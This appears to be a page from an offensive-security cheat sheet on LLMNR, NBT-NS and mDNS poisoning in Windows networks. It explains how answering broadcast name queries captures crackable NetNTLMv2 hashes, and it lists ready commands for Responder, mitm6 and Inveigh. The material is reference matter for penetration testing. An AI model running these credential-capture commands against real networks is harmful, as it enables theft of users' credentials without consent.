> ## Documentation Index
> Fetch the complete documentation index at: https://0-x.dev/llms.txt
> Use this file to discover all available pages before exploring further.

# LLMNR / NBT-NS / mDNS Poisoning

Windows falls back to broadcast name resolution (LLMNR, NetBIOS Name Service, mDNS) whenever DNS can't resolve a name, every host on the segment gets asked "does anyone know this name?" and answers blindly trust whoever responds first. Poisoning these broadcasts means answering on behalf of a name nobody actually owns, the victim then authenticates to the attacker directly, handing over a crackable NetNTLMv2 hash without ever touching the real target.

> [!NOTE]
>
> This is credential capture, not enumeration, that's why it's split out from [AD Enumeration (Unauthenticated)](https://0-x.dev/ad/enumeration-unauthenticated.md) even though it needs no domain creds either.

***

## Poisoning

<table>
  <colgroup>
    <col width="357" />

    <col width="325" />
  </colgroup>

  <thead>
    <tr>
      <th>Command</th>
      <th>Description</th>
    </tr>
  </thead>

  <tbody>
    <tr>
      <td>`sudo responder -I eth0`</td>
      <td>The standard Linux tool, answers LLMNR/NBT-NS/mDNS queries and captures the resulting NTLM hashes to crack offline.</td>
    </tr>

    <tr>
      <td>`sudo mitm6 -d <domain>`</td>
      <td>Same idea over IPv6: answers DHCPv6 queries to become the victim's IPv6 DNS server, then abuses WPAD to capture NTLM hashes. Effective even on networks that have LLMNR/NBT-NS disabled, since IPv6 is enabled by default.</td>
    </tr>

    <tr>
      <td>`Import-Module .\Inveigh.ps1`\
      `Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y`</td>
      <td>[Inveigh](https://github.com/Kevin-Robertson/Inveigh): the Responder equivalent for when the attack needs to run from a Windows host instead of Linux.</td>
    </tr>

    <tr>
      <td>`.\Inveigh.exe`</td>
      <td>Compiled C# version of the same tool, useful when PowerShell execution is restricted.</td>
    </tr>
  </tbody>
</table>

## Forcing Authentication

Rather than waiting for a broadcast to poison, a planted file can directly trick anyone browsing a share into authenticating to an attacker controlled UNC path, full breakdown (SCF, LNK, URL, library/search-connector files) on [Malicious Files for NTLM Capture](https://0-x.dev/ad/ntlm-capture-files.md).

***

## Quick Reference Tools

> **[Responder](https://github.com/lgandx/Responder)**
>
> The primary LLMNR/NBT-NS/mDNS poisoning tool, used above.

> **[mitm6](https://github.com/dirkjanm/mitm6)**
>
> IPv6-based alternative, effective even when LLMNR/NBT-NS is disabled.

> **[Inveigh](https://github.com/Kevin-Robertson/Inveigh)**
>
> Windows-native equivalent of Responder.


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.